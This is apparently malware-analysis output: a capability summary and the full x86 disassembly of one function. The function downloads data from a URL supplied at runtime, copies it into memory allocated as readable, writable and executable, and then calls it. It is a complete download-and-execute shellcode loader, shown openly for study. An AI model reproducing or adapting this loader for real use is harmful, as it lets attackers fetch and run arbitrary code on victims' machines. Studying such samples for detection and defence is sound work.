Function at 0x40f310
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x451b61
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x17c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov byte [ebp - 0x30], 0
push 0
push 0
push 0
push 0
push 1
push str.lpload
lea ecx, [ebp - 0x24]
call fcn.0044b5b7
mov dword [ebp - 4], 0
push 0
push 0x7d0
push 2
lea ecx, [ebp - 0x24]
call fcn.00410250
push 0
push 0x7d0
push 5
lea ecx, [ebp - 0x24]
call fcn.00410250
push 0
push 0x7d0
push 6
lea ecx, [ebp - 0x24]
call fcn.00410250
push 0
push 0x7d0
push 7
lea ecx, [ebp - 0x24]
call fcn.00410250
push 0
push 0x7d0
push 8
lea ecx, [ebp - 0x24]
call fcn.00410250
mov dword [ebp - 0x34], 0x84000002
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov byte [ebp - 4], 1
push 0
push 0
mov eax, dword [ebp - 0x34]
push eax
push 1
mov ecx, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x24]
call fcn.0044b6b2
mov dword [ebp - 0x178], eax
mov edx, dword [ebp - 0x178]
mov dword [ebp - 0x2c], edx
lea eax, [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x2c]
call fcn.0044c111
cmp dword [ebp - 0x38], 0xc8
jne 0x40f5b9
mov dword [ebp - 0x3c], 0
push 0
lea ecx, [ebp - 0x3c]
push ecx
push 5
mov ecx, dword [ebp - 0x2c]
call fcn.0044c0ea
cmp dword [ebp - 0x3c], 0
jbe 0x40f5b9
mov edx, dword [ebp - 0x3c]
add edx, 8
push edx
call fcn.004331e8
add esp, 4
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x40f471
push 0x10
push 0x46b4d4
push str.Failed_to_allocate_memory.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov byte [ebp - 0x154], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.0044b572
mov al, byte [ebp - 0x154]
jmp 0x40f716
mov eax, dword [ebp - 0x3c]
add eax, 8
push eax
push 0
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.00433190
add esp, 0xc
mov dword [ebp - 0x40], 0
mov edx, dword [ebp - 0x40]
cmp edx, dword [ebp - 0x3c]
jae 0x40f53b
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x40]
cmp eax, 0x800
jae 0x40f4b4
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x40]
mov dword [ebp - 0x17c], ecx
jmp 0x40f4be
mov dword [ebp - 0x17c], 0x800
mov edx, dword [ebp - 0x17c]
push edx
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
call dword [eax + 0x34]
mov dword [ebp - 0x180], eax
mov ecx, dword [ebp - 0x180]
mov dword [ebp - 0x4c], ecx
cmp dword [ebp - 0x4c], 0
jg 0x40f52d
push 0x10
push 0x46b4f8
push str.Failed_to_read_data_from_URL.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov edx, dword [ebp - 0x28]
push edx
call fcn.0043309e
add esp, 4
mov byte [ebp - 0x158], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.0044b572
mov al, byte [ebp - 0x158]
jmp 0x40f716
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x4c]
mov dword [ebp - 0x40], eax
jmp 0x40f48d
push 0x40
push 0x1000
mov ecx, dword [ebp - 0x3c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jne 0x40f598
push 0x10
push str.Error
push str.Failed_to_allocate_executable_memory.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov edx, dword [ebp - 0x28]
push edx
call fcn.0043309e
add esp, 4
mov byte [ebp - 0x15c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.0044b572
mov al, byte [ebp - 0x15c]
jmp 0x40f716
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x44]
push edx
call fcn.00432c80
add esp, 0xc
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x48], eax
call dword [ebp - 0x48]
mov byte [ebp - 0x30], 1
cmp dword [ebp - 0x28], 0
je 0x40f5cb
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.0043309e
add esp, 4
cmp dword [ebp - 0x2c], 0
je 0x40f62b
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
call dword [eax + 0x4c]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x164], ecx
mov edx, dword [ebp - 0x164]
mov dword [ebp - 0x160], edx
cmp dword [ebp - 0x160], 0
je 0x40f621
push 1
mov ecx, dword [ebp - 0x160]
mov eax, dword [ebp - 0x160]
mov edx, dword [eax]
call dword [edx + 4]
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x188], eax
jmp 0x40f62b
mov dword [ebp - 0x188], 0
jmp 0x40f6f1
mov dword [ebp - 4], 0
mov cl, byte [ebp - 0x30]
mov byte [ebp - 0x174], cl
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.0044b572
mov al, byte [ebp - 0x174]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret